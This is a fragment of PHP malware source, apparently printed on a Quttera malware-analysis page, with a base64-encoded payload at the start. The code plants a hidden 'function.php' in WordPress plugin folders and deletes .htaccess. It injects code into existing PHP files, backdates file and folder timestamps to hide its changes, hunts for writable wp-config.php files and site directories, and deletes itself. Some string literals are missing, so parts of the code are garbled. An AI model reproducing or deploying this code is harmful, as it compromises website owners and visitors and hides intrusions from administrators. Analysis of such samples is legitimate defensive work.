fYmFja3VwX2ZpbGUpPT0kY29udGVudF9iYWNrdXBbMV0pewoJCQkJCQkJJGdvb2QgPSB0cnVlOwoJCQkJCQl9ZWxzZXsKCQkJCQkJCSRyZWFzb24uPScgbm8gY29udGVudCAnOwoJCQkJCQl9CgkJCQkJfWVsc2V7CgkJCQkJCSRyZWFzb24uPScgbm90X2ZvdW5kX2FmdGVyX3dyaXRlICc7CgkJCQkJfQoJCQkJCWlmKCRnb29kKXsKCQkJCQkJZWNobyAnWytdIENIQU5HRTogJy4kY3VycmVudF9wYXRoLiRjdXJyZW50X2JhY2t1cF9maWxlLiRyZWFzb24uIlxuIjsKCQkJCQl9ZWxzZXsKCQkJCQkJZWNobyAnWy1dIENIQU5HRTogJy4kY3VycmVudF9wYXRoLiRjdXJyZW50X2JhY2t1cF9maWxlLiRyZWFzb24uIlxuIjsKCQkJCQl9CQkJCQoJCQkJfQoJCQl9CgkJfQoJfQoKCWZ1bmN0aW9uIGdldF9iZXN0X3RpbWUoJGRpcikKICAgIHsKICAgICAgICAkdGltZSA9IGFycmF5KCk7CiAgICAgICAgJHJlYWxwYXRoID0gcmVhbHBhdGgoJGRpcik7ICAgICAgICAKICAgICAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgICAgIGlmKCFlbXB0eSgkcmVhbHBhdGgpKXsKICAgICAgICAgICAgJHNjYW4gPSBAc2NhbmRpcigkcmVhbHBhdGgpOyAgICAgICAgCiAgICAgICAgICAgIGlmKCFpc19hcnJheSgkc2NhbikpewogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXkoKTsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkZmlsZXMgPSBhcnJheV9kaWZmKCRzY2FuLGFycmF5KCcuJywnLi4nKSk7IAogICAgICAgICAgICB9ICAgCiAgICAgICAgfSAgICAgICAgICAgICAgIAogICAgICAgICRwb3B1bGFyID0gdGltZSgpLW10X3JhbmQoMTAwMDAwMCwyMDAwMDAwKTsKICAgICAgICBpZihjb3VudCgkZmlsZXMpPjEpewogICAgICAgICAgICBmb3JlYWNoKCRmaWxlcyBhcyAkY3VycmVudF9maWxlKXsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkY3VycmVudF9maWxlID0gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUi4kY3VycmVudF9maWxlOwogICAgICAgICAgICAgICAgJG10aW1lID0gZmlsZW10aW1lKCRjdXJyZW50X2ZpbGUpOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYoaXNzZXQoJHRpbWVbJG10aW1lXSkpewogICAgICAgICAgICAgICAgICAgICR0aW1lWyRtdGltZV0rKzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICR0aW1lWyRtdGltZV09MTsKICAgICAgICAgICAgICAgIH0gICAgICAgICAgICAgCiAgICAgICAgICAgIH0gICAgICAgICAgICAKICAgICAgICAgICAgYXJzb3J0KCR0aW1lKTsgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAkcG9wdWxhciA9IGtleSgkdGltZSk7CiAgICAgICAgICAgIGlmKCR0aW1lWyRwb3B1bGFyXT09MSl7CiAgICAgICAgICAgICAgICAkdGltZSA9IGFycmF5X2tleXMoJHRpbWUpOwogICAgICAgICAgICAgICAgYXNvcnQoJHRpbWUpOwogICAgICAgICAgICAgICAgJHRpbWUgPSBhcnJheV92YWx1ZXMoJHRpbWUpOyAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkcG9wdWxhciA9ICR0aW1lWzBdOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcG9wdWxhcjsgICAgICAgICAKICAgIH0KCglmdW5jdGlvbiBjaGFuZ2VfbXRpbWUoJGZpbGUsJG5ld190aW1lPTApCiAgICB7CiAgICAgICAgJHJlYWxwYXRoID0gJyc7CiAgICAgICAgaWYoaXNfZmlsZSgkZmlsZSkpewogICAgICAgICAgICBAdG91Y2goJGZpbGUsJG5ld190aW1lLCRuZXdfdGltZSk7CiAgICAgICAgICAgICRyZWFscGF0aCA9IHJlYWxwYXRoKCRmaWxlKTsgCiAgICAgICAgfWVsc2V7CiAgICAgICAgCSRyZWFscGF0aCA9IHJlYWxwYXRoKGRpcm5hbWUoJGZpbGUpLkRJUkVDVE9SWV9TRVBBUkFUT1IpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CiAgICAgICAgfSAgICAgICAgCiAgICAgICAgaWYoZW1wdHkoJHJlYWxwYXRoKSkgcmV0dXJuIGZhbHNlOwogICAgICAgICRleHBsb2RlID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRyZWFscGF0aCk7CiAgICAgICAgJGRpcnMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRleHBsb2RlIGFzICRpZD0+JGN1cnJlbnRfcGF0aCkgewogICAgICAgICAgICAkc2xpY2UgPSBhcnJheV9zbGljZSgkZXhwbG9kZSwwLCRpZCk7CiAgICAgICAgICAgIGlmKGNvdW50KCRzbGljZSk9PTApIGNvbnRpbnVlOwogICAgICAgICAgICAkX2MgPSAnJzsKICAgICAgICAgICAgaWYoY291bnQoJHNsaWNlKT09MSkgewogICAgICAgICAgICAgICAgJF9jID0gRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkX2MgPSBpbXBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHNsaWNlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZGlyc1tdID0gJF9jOyAgICAgICAgICAKICAgICAgICB9CiAgICAgICAgJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKICAgICAgICBmb3JlYWNoKCRkaXJzIGFzICRjdXJyZW50X2Rpcil7CiAgICAgICAgICAgICR0b190aW1lID0gZ2V0X2Jlc3RfdGltZSgkY3VycmVudF9kaXIpOwogICAgICAgICAgICBpZighQHRvdWNoKCRjdXJyZW50X2RpciwkdG9fdGltZSwkdG9fdGltZSkpewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0gICAgICAgCiAgICAgICAgfSAgICAgICAKICAgIH0KCglmdW5jdGlvbiBsb2dzKCRtc2cpCgl7CgkJcmV0dXJuIHRydWU7CgkJZmlsZV9wdXRfY29udGVudHMoJ2xvZ3MudHh0JyxkYXRlKCJZLW0tZCBIOmk6cyIpLiJcdCIuJG1zZy4iXG4iLEZJTEVfQVBQRU5EKTsKCX0KPz4=');
    $data_control = str_replace('[PHP_FILE]', $global_php_file, $data_control);
    @unlink(.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'.htaccess');
    @file_put_contents(.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'function.php', $data_control);
    if(is_file(.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'function.php')){
        $time = get_best_time(.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins');
        change_mtime(.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'function.php',$time);
        $stat[] = '[+] GOOD SETUP FUNCTION';
    }else{
        $stat[] = '[-] BAD SETUP FUNCTION';
    }
    $stat[] = 'PHP_FILE: '.$global_php_file;
    @unlink(__FILE__);
	echo '<pre>';
	print_r($stat);
	echo '</pre>';

	function rmRec($path) 
    {
		if (is_file($path)) return unlink($path);
		if (@is_dir($path)) {
		foreach(scandir($path) as $p) if (($p!=) && ($p!='..'))
			rmRec($path.DIRECTORY_SEPARATOR.$p);
			return rmdir($path); 
		}
		return false;
    }
	
	function inj_php($file,$inj,$after_string='',$search_strstr=false)
	{
		if(!is_file($file)) return false;
		$time = filemtime($file);
		$get = file_get_contents($file);
		if(strstr($get,$inj)) return true;
		$line = file($file, FILE_IGNORE_NEW_LINES);
		$list_id = array();
		foreach($line as $id=>$current_line){
			if(!empty($after_string)){				
				if(!$search_strstr && $current_line==$after_string){
					$list_id[] = $id;
					break;
				}
				if($search_strstr && stristr($current_line,$after_string)){
					$list_id[] = $id;
					break;
				}	
				continue;
			}
			if($current_line=='}'){
				$list_id[] = $id;
			}
		}
		if(count($list_id)==0) return false;
		if(!empty($after_string)){
			$rand = $list_id[0];
		}else{
			$rand = $list_id[array_rand($list_id,1)];
		}		
		$new = array();		
		foreach($line as $id=>$current_line){
			$new[] = $current_line;
			if($id==$rand){
				$new[] = '';
				$new[] = $inj;				
			}
		}
		file_put_contents($file, implode("\n",$new));
        change_mtime($file,($time-1));		
		$get = file_get_contents($file);
		if(strstr($get,$inj)){
			return true;
		}
		return false;		
	}


	function get_best_time($dir)
    {
        $time = array();
        $realpath = realpath($dir);        
        $files = array();
        if(!empty($realpath)){
            $scan = @scandir($realpath);        
            if(!is_array($scan)){
                $files = array();
            }else{
                $files = array_diff($scan,array(,'..')); 
            }   
        }else{
            echo 'EMPTY_DIR: '.$dir.' '.__DIR__."\n";
        }               
        $popular = time()-mt_rand(1000000,2000000);
        if(count($files)>1){
            foreach($files as $current_file){                
                $current_file = realpath($dir).DIRECTORY_SEPARATOR.$current_file;
                $mtime = filemtime($current_file);                                    
                if(isset($time[$mtime])){
                    $time[$mtime]++;
                }else{
                    $time[$mtime]=1;
                }             
            }            
            arsort($time);                    
            $popular = key($time);
            if($time[$popular]==1){
                $time = array_keys($time);
                asort($time);
                $time = array_values($time);                    
                $popular = $time[0];
            }
        }
        return $popular;         
    }

    function change_mtime($file,$new_time=0)
    {
        $realpath = '';
        if(is_file($file)){
            @touch($file,$new_time,$new_time);
            $realpath = realpath($file); 
        }
        if(empty($realpath)) return false;              
        $explode = explode(DIRECTORY_SEPARATOR,$realpath);
        $dirs = array();
        foreach ($explode as $id=>$current_path) {
            $slice = array_slice($explode,0,$id);
            if(count($slice)==0) continue;
            $_c = '';
            if(count($slice)==1) {
                $_c = DIRECTORY_SEPARATOR;
            }else{
                $_c = implode(DIRECTORY_SEPARATOR,$slice);
            }
            $dirs[] = $_c;          
        }
        $dirs = array_reverse($dirs);
        foreach($dirs as $current_dir){
            $to_time = get_best_time($current_dir);
            if(!@touch($current_dir,$to_time,$to_time)){
                break;
            }            
        }       
    }

	function scanDirectoryConfig($dir, $deep, $currentDepth = 0) 
    {        
        if ($currentDepth >= $deep) {
            return array();
        }        
        $domains = array();        
        if (@is_dir($dir)) {            
            $files = @scandir($dir);
            if(is_array($files)){

                $is_writable = false;
                foreach ($files as $file) { 
                    if ($file ==  || $file == '..') {
                        continue;
                    }
                    if($dir!=DIRECTORY_SEPARATOR){
                        $path = $dir.DIRECTORY_SEPARATOR.$file; 
                    }else{
                        $path = $dir.$file; 
                    }
                    if(is_writable($path)){
                        $is_writable = true;
                        break;
                    }
                }

                foreach ($files as $file) {                
                    if ($file ==  || $file == '..') {
                        continue;
                    }
                    if($dir!=DIRECTORY_SEPARATOR){
                        $path = $dir.DIRECTORY_SEPARATOR.$file; 
                    }else{
                        $path = $dir.$file; 
                    }                                 
                    if (is_file($path)) {                        
                        if ($is_writable && strtolower($file)=='wp-config.php') {                                                 
                            $domains[] = $path.'|'.$file;
                        }
                    }
                    if(@is_dir($path)){
                        $domains = array_merge($domains, scanDirectoryConfig($path, $deep, $currentDepth + 1));
                    }
                }
            }            
        }
        return $domains;
    }

    function isValidDomain($domain) 
    {
        global $zone_domen;               
        $pattern = '/^(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9]))+(?:[a-z]{2,})$/i';
        $explode = explode(, $domain);
        $z = $explode[count($explode)-1];
        if(!stristr($zone_domen,'|'.$z.'|')){
            return false;
        }
        if(preg_match($pattern, $domain)){
            return true;
        }else{
            if(preg_match('/^xn\-/i',$domain) && strstr($domain,)){
                return true;
            }               
        }        
        return false;
    } 

    function scanDirectory($dir, $deep, $currentDepth = 0) 
    {        
       	if ($currentDepth >= $deep) {
            return array();
        }        
        $domains = array();        
        if (@is_dir($dir)) {            
            $files = @scandir($dir);            
            if(is_array($files)){
                foreach ($files as $file) {                
                    if ($file ==  || $file == '..') {
                        continue;
                    }
                    if($dir!=DIRECTORY_SEPARATOR){
                        $path = $dir.DIRECTORY_SEPARATOR.$file; 
                    }else{
                        $path = $dir.$file; 
                    }                                  
                    if (@is_dir($path)) {                    	
                        if (is_writable($path) && isValidDomain($file)) {                                                 
                            $domains[] = $file.'|'.$path;
                        }                    
                        $domains = array_merge($domains, scanDirectory($path, $deep, $currentDepth + 1));
                    }
                }
            }            
        }
        return $domains;
    }

    function get_name_file($dir)
    {
        $scandir = @scandir($dir);
        if(!is_array($scandir)){
            return 'query-resolver.php';
        }
        $files = array_diff($scandir, array(,'..'));        
        $good_files = array();
        foreach($files as $current_file){
            if(!is_file($dir.DIRECTORY_SEPARATOR.$current_file)) continue;
            if(!preg_match('/\.php$/', $current_file)) continue;
            $good_files[] = $current_file;
        }
        $words = array();
        foreach($good_files as $current_file){
            $current_file = preg_replace('/\.php$/', '', $current_file);
            $split_words = explode('-', $current_file);
            foreach($split_words as $current_word){
                $words[$current_word]=1;
            }
        }
        $rand_file = $good_files[array_rand($good_files,1)];
        $new_file = str_replace('.php', '-'.array_rand($words,1).'.php', $rand_file);       
        return $new_file;
    });



© 2023 Quttera Ltd. All rights reserved.